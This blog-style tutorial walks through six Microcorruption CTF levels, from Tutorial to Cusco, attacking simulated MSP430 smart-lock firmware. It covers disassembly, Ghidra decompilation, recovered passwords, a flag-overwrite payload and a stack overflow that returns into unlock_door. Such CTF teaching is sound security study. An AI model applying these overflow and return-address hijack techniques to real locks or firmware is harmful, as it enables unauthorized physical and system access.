Intro
I’ve decided to take another crack at the microcorruption CTF and document my progress as some form of tutorial type thing; I also wanted to have a play around with ghidra and it seemed like a good candidate.
Microcorruption is an Embedded Security CTF based around attacking smart locks. The firmwares start off very basic but, if memory serves, pretty quickly they are throwing up hurdles such as ASLR and DEP.
First things first, before we even fire up the debugger we have a manual which contains some vital info and the LockIT Pro series of locks:
- MSP430 based architecture
- Software interrupts added by manufacturer [callgate 0x0010]
- The address space is divided into 256 pages
- HSMs are available for out-of-band password validation
- Firmware is compiled using
gcc
MSP430 is a pretty easy going flavour of assembly language, the lock manual contains a nice introduction in chapter 5 so I won’t repeat those efforts here.
Ok, time to connect the first lock to our debugger and fire it up!
1. Tutorial
Tucked away near the Great Lakes, in a place where industry meets innovation, our journey begins. This is the first step—a simple lock, a straightforward challenge, but every great exploit starts somewhere.
Looking at the disassembly we can see a main
function which reads the password from the console and passes it to check_password
, so lets start there.
4438 <main>
4438: 3150 9cff add #0xff9c, sp
443c: 3f40 a844 mov #0x44a8 "Enter the password to continue", r15
4440: b012 5845 call #0x4558 <puts>
4444: 0f41 mov sp, r15
4446: b012 7a44 call #0x447a <get_password>
444a: 0f41 mov sp, r15
444c: b012 8444 call #0x4484 <check_password>
4450: 0f93 tst r15
4452: 0520 jnz #0x445e <main+0x26>
4454: 3f40 c744 mov #0x44c7 "Invalid password; try again.", r15
4458: b012 5845 call #0x4558 <puts>
445c: 063c jmp #0x446a <main+0x32>
445e: 3f40 e444 mov #0x44e4 "Access Granted!", r15
4462: b012 5845 call #0x4558 <puts>
4466: b012 9c44 call #0x449c <unlock_door>
446a: 0f43 clr r15
446c: 3150 6400 add #0x64, sp
4484 <check_password>
4484: 6e4f mov.b @r15, r14
4486: 1f53 inc r15
4488: 1c53 inc r12
448a: 0e93 tst r14
448c: fb23 jnz #0x4484 <check_password+0x0>
448e: 3c90 0900 cmp #0x9, r12
4492: 0224 jeq #0x4498 <check_password+0x14>
4494: 0f43 clr r15
4496: 3041 ret
4498: 1f43 mov #0x1, r15
449a: 3041 ret
Looking at the disassembly, we can reason about this code quite easily. Before calling check_password
, the address in the stack pointer is copied to register 15 (r15
).
Inside check_password
the following happens:
- the first byte from the memory address pointed to by r15 (
@r15
) is copied into r14 - the value of r15 is incremented (by 1)
- the value of r12 is incremented (by 1)
- r14 is tested against zero (null byte, \0, indicating the end of a string)
- if r14 is non-zero, loop back to 1
- compare the value in r12 to the literal 9
- if r12 does not contain 9, jump to 10
- set r15 to 0
- return to main
- set r15 to 1
- return to main
After calling check_password
, execution returns to main
at 0x4450
where the value in r15
is tested and if found to be zero the unlock_door
function is called.
All the logic is inside check_password
here, and it looks like we’re just looking for any password that is 9 characters long including the terminating null byte. We could just enter any 8 digit password and be pretty sure the lock would pop open, but lets dump the memory into ghidra and see what it looks like over there.
short check_password(char *buf) {
char chr;
short len;
do {
chr = *buf;
buf = buf + 1;
len = len + 1;
} while (chr != '\0');
if (len != 9) {
return 0;
}
return 1;
}
Pretty nice, though ultimately useless for this level: entering any 8 character password confirms our static analysis and the lock is open!
2. New Orleans
The Big Easy, where jazz spills into the streets, secrets linger in the shadows of the French Quarter, and our next exploit dances to its own rhythm.
The training wheels are off!
Looking at the main
function, the first thing I notice is a call to create_password
.
447e <create_password>
447e: 3f40 0024 mov #0x2400, r15
4482: ff40 5100 0000 mov.b #0x51, 0x0(r15)
4488: ff40 7700 0100 mov.b #0x77, 0x1(r15)
448e: ff40 2500 0200 mov.b #0x25, 0x2(r15)
4494: ff40 3300 0300 mov.b #0x33, 0x3(r15)
449a: ff40 5400 0400 mov.b #0x54, 0x4(r15)
44a0: ff40 7600 0500 mov.b #0x76, 0x5(r15)
44a6: ff40 3000 0600 mov.b #0x30, 0x6(r15)
44ac: cf43 0700 mov.b #0x0, 0x7(r15)
44b0: 3041 ret
After initialising r15
to 0x2400
, that address space is populated with the literals 0x51
, 0x77
, 0x25
, 0x33
, 0x54
, 0x76
, 0x30
, and 0x0
before returning to main
.
We can probably take a wild guess that this is the password, and if we consult our handy ASCII charts (or, more likely, allow the function to finish and dump the region of memory at 0x2400
) we should get the answer. Either way, we’ll end up with “Qw%3Tv0” (the last 0 is an ASCII 0, not the null byte).
Looking at the check_password
function and we can see that it is indeed making comparisons to 0x2400
(in a roundabout way).
44bc <check_password>
44bc: 0e43 clr r14
44be: 0d4f mov r15, r13
44c0: 0d5e add r14, r13
44c2: ee9d 0024 cmp.b @r13, 0x2400(r14)
44c6: 0520 jne #0x44d2 <check_password+0x16>
44c8: 1e53 inc r14
44ca: 3e92 cmp #0x8, r14
44cc: f823 jne #0x44be <check_password+0x2>
44ce: 1f43 mov #0x1, r15
44d0: 3041 ret
44d2: 0f43 clr r15
44d4: 3041 ret
Dumping the firmware into ghidra yields some surprisingly readable code, very impressive.
void create_password(void) {
PASSWORD = 'Q';
PASSWORD_2 = 'w';
PASSWORD_3 = '%';
PASSWORD_4 = '3';
PASSWORD_5 = 'T';
PASSWORD_6 = 'v';
PASSWORD_7 = '0';
PASSWORD_8 = 0;
return;
}
short check_password(char *buf) {
short idx;
idx = 0;
do {
if ((&PASSWORD)[idx] != buf[idx]) {
return 0;
}
idx = idx + 1;
} while (idx != 8);
return 1;
}
We can be pretty confident we’ve got the password now. “Qw%3Tv0” is, in this instance, the magic word.
3. Sydney
Down under, where the Opera House graces the harbour and the Outback meets the sea, our binary adventures take centre stage beneath the Southern Cross.
Moving on, it seems the LockIT Pro developers have become aware of their shoddy security and have published a software update:
This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.
Looking at main
, I see another check_password
function; always a good place to start.
448a <check_password>
448a: bf90 5922 0000 cmp #0x2259, 0x0(r15)
4490: 0d20 jnz $+0x1c
4492: bf90 714e 0200 cmp #0x4e71, 0x2(r15)
4498: 0920 jnz $+0x14
449a: bf90 4026 0400 cmp #0x2640, 0x4(r15)
44a0: 0520 jne #0x44ac <check_password+0x22>
44a2: 1e43 mov #0x1, r14
44a4: bf90 793f 0600 cmp #0x3f79, 0x6(r15)
44aa: 0124 jeq #0x44ae <check_password+0x24>
44ac: 0e43 clr r14
44ae: 0f4e mov r14, r15
44b0: 3041 ret
This time, we are comparing the entered password (at the memory address pointed to by r15) two bytes at a time. First to 0x2259
, then 0x4e71
, 0x2640
.
I can’t really explain why the rest of the function is written like this, but my assumption is some attempt to obfuscate the function a bit; essentially it compares the 7th and 8th characters of the entered password to 0x3f79
. Pseudocode from 0x44a2
might look something like this:
set rval = true
if password[7..8] == 0x37d9:
return rval
rval = false
return rval
So we can hazard a pretty decent guess that the our password, in hexidecimal, is 5922714e4026793f
. We could convert it to ASCII again, but that really isn’t necessary. Let’s dump it into ghidra and see if we can explain that weird rval business.
short check_password(char *buf) {
short is_valid;
if ((((*(undefined **)buf != &0x2259) || (*(undefined **)(buf + 2) != &0x4e71)) ||
(*(undefined **)(buf + 4) != &0x2640)) ||
(is_valid = 1, *(undefined **)(buf + 6) != &0x3f79)) {
is_valid = 0;
}
return is_valid;
}
Not so awesome this time, I think the assembly was easier to read. I guess by comparing the password 2 bytes at a time the developers thought they were avoiding having the password in the firmware? Shoddy.
4. Reykjavik
On the edge of the Arctic, where geysers erupt, and glaciers whisper ancient tales, our journey heats up amidst Iceland’s cool digital frontier.
Another software revision from the LockIT Pro team this time:
This release contains military-grade encryption so users can be confident that the passwords they enter can not be read from memory. We apologize for making it too easy for the password to be recovered on prior versions. The engineers responsible have been sacked.
Nothing too obvious in the main
function, it looks like the new development team at LockIT might know what they’re doing.
4438 <main>
4438: 3e40 2045 mov #0x4520, r14
443c: 0f4e mov r14, r15
443e: 3e40 f800 mov #0xf8, r14
4442: 3f40 0024 mov #0x2400, r15
4446: b012 8644 call #0x4486 <enc>
444a: b012 0024 call #0x2400
444e: 0f43 clr r15
Things are looking a bit more serious here. We have some register initialisation followed by a call to a fairly involved enc
function then a call to an unlabeled and currently uninitialised function at 0x2400
.
Stepping to main
we can see the __do_copy_data
initialisation routine is setting up some memory at 0x2400
. Stepping over the enc
call, we can see that the memory block at 0x2400
has changed significantly again.
Let’s take that block, drop it into a disassembler and see what we’re dealing with.
0b12 push r11
0412 push r4
0441 mov sp, r4
2452 add #0x4, r4
3150 e0ff add #0xffe0, sp
3b40 2045 mov #0x4520, r11
073c jmp $+0x10
1b53 inc r11
8f11 sxt r15
0f12 push r15
0312 push #0x0
b012 6424 call #0x2464
2152 add #0x4, sp
6f4b mov.b @r11, r15
4f93 tst.b r15
f623 jnz $-0x12
3012 0a00 push #0xa
0312 push #0x0
b012 6424 call #0x2464
2152 add #0x4, sp
3012 1f00 push #0x1f
3f40 dcff mov #0xffdc, r15
0f54 add r4, r15
0f12 push r15
2312 push #0x2
b012 6424 call #0x2464
3150 0600 add #0x6, sp
b490 e301 dcff cmp #0x1e3, -0x24(r4)
0520 jnz $+0xc
3012 7f00 push #0x7f
b012 6424 call #0x2464
2153 incd sp
3150 2000 add #0x20, sp
3441 pop r4
3b41 pop r11
3041 ret
1e41 0200 mov 0x2(sp), r14
0212 push sr
0f4e mov r14, r15
8f10 swpb r15
024f mov r15, sr
32d0 0080 bis #0x8000, sr
b012 1000 call #0x10
3241 pop sr
3041 ret
d21a 189a call &0x9a18
22dc bis @r12, sr
45b9 bit.b r9, r5
4279 subc.b r9, sr
2d55 add @r5, r13
858e a4a2 sub r14, -0x5d5c(r5)
67d7 bis.b @r7, r7
14ae a119 dadd 0x19a1(r14), r4
76f6 and.b @r6+, r6
42cb bic.b r11, sr
1c04 0efa rrc -0x5f2(r12)
a61b invalid @r6
74a7 dadd.b @r7+, r4
416b addc.b r11, sp
d237 jge $-0x5a
a253 22e4 incd &0xe422
66af dadd.b @r15, r6
c1a5 938b dadd.b r5, -0x746d(sp)
8971 9b88 subc sp, -0x7765(r9)
fa9b 6674 cmp.b @r11+, 0x7466(r10)
4e21 jnz $+0x29e
2a6b addc @r11, r10
b143 9151 mov #-0x1, 0x5191(sp)
3dcc bic @r12+, r13
a6f5 daa7 and @r5, -0x5826(r6)
db3f jmp $-0x48
8d3c jmp $+0x11c
4d18 rrc.b r13
4736 jge $-0x370
dfa6 459a 2461 dadd.b -0x65bb(r6), 0x6124(r15)
921d 3291 sxt &0x9132
14e6 8157 xor 0x5781(r6), r4
b0fe 2ddd and @r14+, -0x22d3(pc)
400b reti pc
8688 6310 sub r8, 0x1063(r6)
3ab3 bit #-0x1, r10
612b jnc $-0x13c
0bd9 bis r9, r11
483f jmp $-0x16e
4e04 rrc.b r14
5870 4c38 subc.b 0x384c(pc), r8
c93c jmp $+0x194
ff36 jge $-0x200
0e01 rra r14
7f3e jmp $-0x300
fa55 aeef add.b @r5+, -0x1052(r10)
051c rrc r5
242c jc $+0x4a
3c56 add @r6+, r12
13af e57b dadd 0x7be5(r15), 4
8abf 3040 bit r15, 0x4030(r10)
c537 jge $-0x74
656e addc.b @r14, r5
8278 9af9 subc r8, &0xf99a
9d02 be83 call -0x7c42(r13)
b38c e181 sub @r12+, 8
3ad8 bis @r8+, r10
395a add @r10+, r9
fce3 4f03 xor.b #-0x1, 0x34f(r12)
8ec9 9395 bic r9, -0x6a6d(r14)
4a15 rra.b r10
ce3b jl $-0x62
fd1e call @r13+
7779 subc.b @r9+, r7
c9c3 5ff2 bic.b #0x0, -0xda1(r9)
3dc7 bic @r7+, r13
5953 add.b #0x1, r9
8826 jz $-0x2ee
d0b5 d9f8 639e bit.b -0x727(r5), -0x619d(pc)
e970 01cd subc.b @pc, -0x32ff(r9)
2119 rra @sp
ca6a d12c addc.b r10, 0x2cd1(r10)
97e2 7538 96c5 xor &0x3875, -0x3a6a(r7)
8f28 jnc $+0x120
d682 1be5 ab20 sub.b &0xe51b, 0x20ab(r6)
7389 sub.b @r9+, 4
48aa dadd.b r10, r8
1fa3 dinc r15
472f jc $-0x170
a564 de2d addc @r4, 0x2dde(r5)
b710 swpb @r7+
9081 5205 8d44 sub 0x552(sp), 0x448d(pc)
cff4 bc2e and.b r4, 0x2ebc(r15)
577a d5f4 subc.b -0xb2b(r10), r7
a851 c243 add @sp, 0x43c2(r8)
277d subc @r13, r7
a4ca 1e6b bic @r10, 0x6b1e(r4)
Eyeballing the disassembly, we have a bunch of setup and eventually a cmp #0x1e3, -0x24(r4)
at 0x2448
(suggesting a key verification step). Let’s break there and take a look at -0x24[r4]
.
> r r4-24
43da: 4141 4141 4141 4141 AAAAAAAA
43e2: 0000 0000 0000 0000 ........
So -0x24[r4]
is the first character of our password, promising. All we need to do pass this check is use 0xe301
as the first two characters of our password. To continue debugging with our invalid password, we can step past the cmp
then set the shift register to 0 with let sr = 0
. Stepping through the next instructions, they just appear to be cleaning up the stack and returning to main
. It appears that 0xe301
is the entire password!
This seems like it could be an interesting candidate for ghidra analysis. Let’s break before the call #0x2400
and see what the decompiler gives us.
void main(void) {
char chr;
char *ptr;
undefined *password [16];
ptr = &0x4520;
while (chr = *ptr, chr != '\0') {
ptr = ptr + 1;
INT(0,(short)chr);
}
INT(0,10);
INT(2,password,0x1f);
if (password[0] == 0x01e3) {
INT(0x7f);
}
return;
}
Not the most readable, and it has a few errors, but we can see the important bit:
/* ... */
if (password[0] == 0x01e3) {
INT(0x7f);
}
/* ... */
As we know from the manual, interrupt 0x7f is used to open the deadbolt confirming our suspicions.
5. Hanoi
A bustling tapestry of ancient temples and chaotic markets, where history hums alongside innovation, and we dive into a new lock’s secret code.
LockIT are stepping up their game again, this time with the introduction of a HSM.
LockIT Pro Hardware Security Module 1 stores the login password, ensuring users can not access the password through other means. The LockIT Pro can send the LockIT Pro HSM-1 a password, and the HSM will return if the password is correct by setting a flag in memory.
A cursory static analysis of the disassembly shows us that main
just calls out to a login
function which after some input/output handling calls out to test_password_valid
.
4438 <main>
4438: b012 2045 call #0x4520 <login>
443c: 0f43 clr r15
...
4454 <test_password_valid>
4454: 0412 push r4
4456: 0441 mov sp, r4
4458: 2453 incd r4
445a: 2183 decd sp
445c: c443 fcff mov.b #0x0, -0x4(r4)
4460: 3e40 fcff mov #0xfffc, r14
4464: 0e54 add r4, r14
4466: 0e12 push r14
4468: 0f12 push r15
446a: 3012 7d00 push #0x7d
446e: b012 7a45 call #0x457a <INT>
4472: 5f44 fcff mov.b -0x4(r4), r15
4476: 8f11 sxt r15
4478: 3152 add #0x8, sp
447a: 3441 pop r4
447c: 3041 ret
...
4520 <login>
4520: c243 1024 mov.b #0x0, &0x2410
4524: 3f40 7e44 mov #0x447e "Enter the password to continue.", r15
4528: b012 de45 call #0x45de <puts>
452c: 3f40 9e44 mov #0x449e "Remember: passwords are between 8 and 16 characters.", r15
4530: b012 de45 call #0x45de <puts>
4534: 3e40 1c00 mov #0x1c, r14
4538: 3f40 0024 mov #0x2400, r15
453c: b012 ce45 call #0x45ce <getsn>
4540: 3f40 0024 mov #0x2400, r15
4544: b012 5444 call #0x4454 <test_password_valid>
4548: 0f93 tst r15
454a: 0324 jz $+0x8
454c: f240 8f00 1024 mov.b #0x8f, &0x2410
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
4556: b012 de45 call #0x45de <puts>
455a: f290 1200 1024 cmp.b #0x12, &0x2410
4560: 0720 jne #0x4570 <login+0x50>
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
4566: b012 de45 call #0x45de <puts>
456a: b012 4844 call #0x4448 <unlock_door>
456e: 3041 ret
4570: 3f40 0145 mov #0x4501 "That password is not correct.", r15
4574: b012 de45 call #0x45de <puts>
4578: 3041 ret
Straight away we can guess a couple of things:
- Given the explicitly stated password length requirements and the introduction of a HSM, this is more likely to be some kind of overflow type attack.
- The
r15
register most likely holds the password validity flag.
Looking a bit more closely, the exploit starts to become obvious. 0x2410
has already caught my attention as a possible important address due to the mov.v #0x0, &0x2410
and cmp.b #0x12, &0x2410
instructions.
4530: b012 de45 call #0x45de <puts>
4534: 3e40 1c00 mov #0x1c, r14
4538: 3f40 0024 mov #0x2400, r15
Looking at the puts
call inlogin
we can see it is reading 0x1c
characters into memory address 0x2400
. This seems like a mistake, because 0x2400 + 0x1c = 0x241c
which seems to give us control over the memory address the HSM writes its flag to.
We’ve already seen the cmp.b #0x12, &0x2410
in login
so the payload is probably 0x0000000000000000000000000000000012
. Passing that payload to the debugger and breaking after test_password_valid
shows that we have indeed successfully overwritten the HSM flag. We’re in!
As is tradition, lets decompile this sucker!
void login(void) {
short is_valid;
PASSWORD_FLAG = '\0'; // PASSWORD_FLAG => 0x2410
puts(passwordPrompt);
puts(passwordLenPrompt);
getsn(&PASSWORD,0x1c); // PASSWORD => 0x2400
is_valid = test_password_valid(&PASSWORD);
if (is_valid != 0) {
PASSWORD_FLAG = -0x71;
}
puts(passwordTesting);
if (PASSWORD_FLAG == '\x12') {
puts(passwordAccepted);
unlock_door();
return;
}
puts(passwordInvalid);
return;
}
A little bit more hand-annotation required this time, but I’d say it definitely mates the exploit easier to spot/grok. Another one bites the dust.
6. Cusco
The gateway to the Andes, where Incan stones hold mysteries of the past, and our cybersecurity quest scales new heights in the thin mountain air.
This is Software Revision 02. We have improved the security of the lock by removing a conditional flag that could accidentally get set by passwords that were too long.
I think we’ve already learned that these changelogs can’t be taken at their word, lets dive in.
As with in Hanoi, we’ve got a main
function which just calls login()
4500 <login>
4500: 3150 f0ff add #0xfff0, sp
4504: 3f40 7c44 mov #0x447c "Enter the password to continue.", r15
4508: b012 a645 call #0x45a6 <puts>
450c: 3f40 9c44 mov #0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510: b012 a645 call #0x45a6 <puts>
4514: 3e40 3000 mov #0x30, r14
4518: 0f41 mov sp, r15
451a: b012 9645 call #0x4596 <getsn>
451e: 0f41 mov sp, r15
4520: b012 5244 call #0x4452 <test_password_valid>
4524: 0f93 tst r15
4526: 0524 jz #0x4532 <login+0x32>
4528: b012 4644 call #0x4446 <unlock_door>
452c: 3f40 d144 mov #0x44d1 "Access granted.", r15
4530: 023c jmp #0x4536 <login+0x36>
4532: 3f40 e144 mov #0x44e1 "That password is not correct.", r15
4536: b012 a645 call #0x45a6 <puts>
453a: 3150 1000 add #0x10, sp
453e: 3041 ret
So almost certainly the same codebase as Hanoi with some bugfixes. This time we’re reading up to 0x30
(48) characters for the password at 0x4514
and reading it onto the stack (at 0x4518
) after which we call test_password_valid
then test the return value via r15 and if the password is valid, unlock the door. At the end of the function we have the usual stack cleanup, however there is a subtle issue: at 0x453e
we add 0x10
to the stack pointer, meaning we have control of 0x30 - 0x10 = 0x20
bytes of stack. Smashing!
This vulnerability is probably much easier to spot the decompiled code:
void login(void) {
short is_valid;
char *buf;
char passwd_buf [16];
puts(passwordPrompt);
puts(passwordLenPrompt);
getsn(passwd_buf,0x30);
is_valid = test_password_valid();
if (is_valid == 0) {
buf = passwordResponseInvalid;
}
else {
unlock_door();
buf = paswordResponseOk;
}
puts(buf);
return;
}
As we can see, the password buffer is only 16 bytes (0x10) long, but we are reading 0x30 bytes into it when we call getsn
.
Knowing we can control the return value from login
, all we need to do is pick somewhere fun to return to. How about the unlock_door
function at 0x4446
?
To find out exactly where to put the payload, we can insert a non-repeating pattern as our payload and see what the program counter/stack look like when the program aborts.
% msf-pattern_create -l 0x30
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5
This pattern will help us pinpoint where we control execution.
Dropping that into the debugger and eventually we’re hit with an insn address unaligned
error, looking at sp
/pc
we can see that the pc is at 0x44fe which points it to 0x3561
. The stack follows with 0x4161
. Remembering endianess with the PC and plugging these values back into msf-pattern_offset
tells us that we take control of the PC after 16 bytes.
Given we’d like to jump to unlock_door
next, which lives at 0x4446
, we want to have that address at the 16th byte of our payload. Something like 0x000000000000000000000000000000004644
should do the trick.
Deploying this payload cracks the lock in 5,178 cycles. If we look at the unlock_door
disassembly it is pretty obvious we can do better:
4446 <unlock_door>
4446: 3012 7f00 push #0x7f
444a: b012 4245 call #0x4542 <INT>
444e: 2153 incd sp
4450: 3041 ret
Digging deeper still, it looks like INT
does a bunch of unnecessary juggling. I managed to shave off 18 cycles getting it down to 5,160 in total, but using skills that we haven’t naturally progressed to in this series yet and I’d hate to ruin my flow or your fun :)
Wrap-Up
That seems like a good place to leave things for now. I’ve taken a sneak peak at the next level and it looks like we’ll be introducing some more concepts and might even have a marginally legitimate use for ghidra aside confirming what we already knew.
Thanks for reading, I hope it was educational and enjoyable; stay tuned, we’re off to Canada next!